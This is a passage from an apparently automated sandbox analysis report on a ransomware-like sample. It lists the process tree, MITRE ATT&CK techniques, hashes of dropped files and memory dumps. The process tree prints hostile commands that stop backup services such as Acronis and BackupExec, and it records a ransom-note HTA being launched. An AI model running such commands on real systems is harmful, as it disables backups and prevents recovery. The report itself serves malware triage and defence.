  PID:1480
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3024
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:2772

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-8192882721932107069423673551-251239908368583565459626906-1534267612-1953572531"
1⤵
PID:2592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:2236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:2092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:1004

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1721188862-7483567857237207292119910789-10231686211707608087801554312-1410931493"
1⤵
PID:2192

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-899400255214649534014511173311521317114159024196915951690861206322995695339025"
1⤵
PID:1724

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-998272402-1822766856-2076696269-176102455-1052706280937548963-175594911631232818"
1⤵
PID:2252

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-263960176-639143935-789543513-1979751769-153051045420125074751646472524256510731"
1⤵
PID:2480

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1375509436-1813159701779501792-4652811911154049003-1252141031845002065247173498"
1⤵
PID:2460

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:3060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

File Deletion

Impair Defenses

Modify Registry

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\is64.bat

Filesize
181B

MD5
225edee1d46e0a80610db26b275d72fb

SHA1
ce206abf11aaf19278b72f5021cc64b1b427b7e8

SHA256
e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559

SHA512
4f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.txt

Filesize
3B

MD5
a5ea0ad9260b1550a14cc58d2c39b03d

SHA1
f0aedf295071ed34ab8c6a7692223d22b6a19841

SHA256
f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

SHA512
7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

Download Submit
C:\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Filesize
89KB

MD5
37d55dba7a6114449a2453a5e5357c04

SHA1
34ea79d82409c679e8a5c32f5c469844dd2488d7

SHA256
52003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f

SHA512
d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e

Download Submit
\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
memory/1632-56-0x00000000761F1000-0x00000000761F3000-memory.dmp

Filesize
8KB

Download
memory/1632-54-0x0000000000890000-0x00000000008EA000-memory.dmp

Filesize
360KB

Download
memory/1632-55-0x00000000004C0000-0x00000000004EE000-memory.dmp

Filesize
184KB

Download
memory/1780-67-0x000000006E7B0000-0x000000006ED5B000-memory.dmp

Filesize
5.7MB

Download
memory/1780-66-0x000000006E7B0000-0x000000006ED5B000-memory.dmp

Filesize
5.7MB

Download